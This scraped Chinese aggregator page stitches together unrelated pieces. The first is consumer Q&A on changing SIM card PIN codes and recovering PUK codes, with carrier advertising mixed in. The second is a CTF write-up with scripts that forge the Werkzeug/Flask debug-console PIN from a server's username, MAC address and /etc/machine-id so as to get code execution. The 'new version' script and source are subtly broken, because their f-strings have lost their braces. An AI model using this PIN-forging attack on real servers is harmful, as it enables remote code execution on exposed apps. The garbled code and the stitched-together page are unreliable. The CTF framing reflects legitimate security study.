手机的PIN码怎么改,原来PIN码是啥
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了手机的PIN码怎么改,原来PIN码是啥相关的知识,希望对你有一定的参考价值。
以下为修改步骤:
设置中选择高级设置。
2.打开高级设置,然后轻按“安全”。
3.点击设置卡一卡锁
4.点击修改SIM卡PIN密码。
扩展资料:
PIN码(PIN1)就是SIM卡的个人识别密码。如果未经使用者修改,运营商设置的原始密码是1234或0000。
在输入三次PIN码错误时,手机便会自动锁卡,并提示输入PUK码解锁,需要使用服务密码拨打运营商客服热线,客服会告知初始的PUK码,输入PUK码之后就会解锁PIN码。
参考技术A 固定拨号 功能需要输入PIN2密码的,你的手机是因为输入了三次错误的PIN2密码,导致PIN2码已锁。现在需要PUK2码,输入了正确的PUK2码,才可以重新设置PIN2码。
PUK2码应该去移动公司查询,但是很多省份的移动都查不到PUK2码。
你现在不要再尝试输入PUK2码,因为输入错误的10次之后,你的卡就会锁住了。
PIN2和PUK2是移动内部统计话费的.一般是不会告诉你的.
即使你PIN2和PUK2都锁上了,也不影响你手机的正常使用
另一说法中国尚未开通PIN2业务.
中国移动SIM卡密码分为PIN码、PIN2码,PUK码和PUK2码共四种,这四种密码的初始码都是由提供SIM卡的运营商中国移动提供的,四种密码的关系如下:
PIN码(PIN1)就是SIM卡的个人识别密码。如果未经使用者修改,运营商设置的原始密码是1234或0000。如果启用了开机PIN码,那么每次开机后就要输入4位数PIN码,PIN码是可以修改的,用来保护自己的SIM卡不被他人使用。需要注意的是,如果输入三次PIN码错误,手机便会自动锁卡,并提示输入PUK码解锁,这个时候已经接近了危险的边缘,因此,如果擅自修改了PIN码,一定要牢记。
PUK码(PUK1)由8位数字组成,这是用户无法更改的。当手机PIN码被锁,并提示输入PUK码时,千万不要轻举妄动,因为PUK码只有10次输入机会,10次都输错的话,SIM卡将会被永久锁死,也就是报废。部分SIM卡的PUK码是用户在购卡时随卡附带的,如中国移动的神州行等,而另一部分则需要向网络运营商索龋如果你的PIN码被锁且不知道PUK码,千万不要随便输入,此时正确的做法应该是致电SIM卡所属运营商的服务热线,在经过简单的用户资料核对后,即可获取PUK码,解开手机锁,该项服务是免费的。
PIN2码是设定手机计费时使用的。如果输入三次错误,手机会需要用PUK2码解锁,过程与先前介绍的PIN码、PUK码相同。不过这两种密码与网络计费及SIM卡内部资料的修改有关,所以不会公开,而且即便PIN2密码锁死,也不会影响手机的正常使用。因此,PIN2码和PUK2码不必去刻意理会。 参考技术B 固定拨号 功能需要输入PIN2密码的,你的手机是因为输入了三次错误的PIN2密码,导致PIN2码已锁。 现在需要PUK2码,输入了正确的PUK2码,才可以重新设置PIN2码。 PUK2码应该去移动公司查询,但是很多省份的移动都查不到PUK2码。 你现在不要再尝试输入PUK2码,因为输入错误的10次之后,你的卡就会锁住了。 PIN2和PUK2是移动内部统计话费的.一般是不会告诉你的. 即使你PIN2和PUK2都锁上了,也不影响你手机的正常使用 另一说法中国尚未开通PIN2业务. 中国移动SIM卡密码分为PIN码、PIN2码,PUK码和PUK2码共四种,这四种密码的初始码都是由提供SIM卡的运营商中国移动提供的,四种密码的关系如下: PIN码(PIN1)就是SIM卡的个人识别密码。如果未经使用者修改,运营商设置的原始密码是1234或0000。如果启用了开机PIN码,那么每次开机后就要输入4位数PIN码,PIN码是可以修改的,用来保护自己的SIM卡不被他人使用。需要注意的是,如果输入三次PIN码错误,手机便会自动锁卡,并提示输入PUK码解锁,这个时候已经接近了危险的边缘,因此,如果擅自修改了PIN码,一定要牢记。 PUK码(PUK1)由8位数字组成,这是用户无法更改的。当手机PIN码被锁,并提示输入PUK码时,千万不要轻举妄动,因为PUK码只有10次输入机会,10次都输错的话,SIM卡将会被永久锁死,也就是报废。部分SIM卡的PUK码是用户在购卡时随卡附带的,如中国移动的神州行等,而另一部分则需要向网络运营商索龋如果你的PIN码被锁且不知道PUK码,千万不要随便输入,此时正确的做法应该是致电SIM卡所属运营商的服务热线,在经过简单的用户资料核对后,即可获取PUK码,解开手机锁,该项服务是免费的。 PIN2码是设定手机计费时使用的。如果输入三次错误,手机会需要用PUK2码解锁,过程与先前介绍的PIN码、PUK码相同。不过这两种密码与网络计费及SIM卡内部资料的修改有关,所以不会公开,而且即便PIN2密码锁死,也不会影响手机的正常使用。因此,PIN2码和PUK2码不必去刻意理会。 参考技术C PIN码:为个人识别密码,统一初始密码为1234,但如果启用了SIM卡的PIN码,开机后连续三次输入错误PIN密码将被锁定,需要PUK码解锁,客户可到营业厅办理免费解锁,解锁后的密码仍为初始密码1234。
PUK码:是PIN码的解锁密码,手机PIN码被锁时,输入PUK码解锁,连续输入十次错误码,SIM卡将被永久锁定自动报废 。
因各省规定存在差异,具体情况可以拨打当地10086咨询。
中国移动客诉受理服务
在线客服通道,定向为您服务
- 官方电话官方服务
- 官方网站业务办理
您可登陆网上营业厅http://iservice.10010.com/e3/ ,点击左上角的小人图标,即显示PUK码资料。
温馨提示:
1、PUK码输错10次后,SIM卡不可恢复;
2、您还可登陆手机营业厅或联系当地人工服务查询PUK码。
联通服务问卷调查
¥中国联通
话费购
用不完的话费可送存买
¥0元起
话费购
用不完的话费可送存买
¥0元起
话费购
用不完的话费可送存买
¥0元起
查
看
更
多
- 在线客服官方服务
- 官方网站秒懂联通客户俱乐部行家主页联通知乎
flask的pin码攻击——新版本下pin码的生成方式
在打*CTF的时候,一道明显是flask的pin码生成进而RCE的题目卡了半天,最后发现是新版本的flask的pin码生成方式有了一定的改变,这里做一下记录。
我们常用的生成pin码的脚本如下:
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377892354',# str(uuid.getnode()), /sys/class/net/ens33/address
'32e48d371198e8420c53b0a1fa37e94d'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
这个脚本实际上改造自flask生成pin码的函数get_pin_and_cookie_name(位于site-packages/werkzeug/debug/__init__.py),其内容如下:
def get_pin_and_cookie_name(app):
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get('WERKZEUG_DEBUG_PIN')
rv = None
num = None
# Pin was explicitly disabled
if pin == 'off':
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace('-', '').isdigit():
# If there are separators in the pin, return it directly
if '-' in pin:
rv = pin
else:
num = pin
modname = getattr(app, '__module__',
getattr(app.__class__, '__module__'))
try:
# `getpass.getuser()` imports the `pwd` module,
# which does not exist in the Google App Engine sandbox.
username = getpass.getuser()
except ImportError:
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv, cookie_name
而新版本的get_pin_and_cookie_name的内容有了一定的修改:
def get_pin_and_cookie_name(
app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None
# Pin was explicitly disabled
if pin == "off":
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdigit():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin
modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: t.Optional[str]
try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzdh.hexdigest()[:20]"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"int(h.hexdigest(), 16):09d"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv, cookie_name
因此,我们生成pin码的脚本也需要进行一定的修改:
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377892354',# str(uuid.getnode()), /sys/class/net/ens33/address
'32e48d371198e8420c53b0a1fa37e94d'# get_machine_id(), /etc/machine-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzdh.hexdigest()[:20]"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"int(h.hexdigest(), 16):09d"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
以上是关于手机的PIN码怎么改,原来PIN码是啥的主要内容,如果未能解决你的问题,请参考以下文章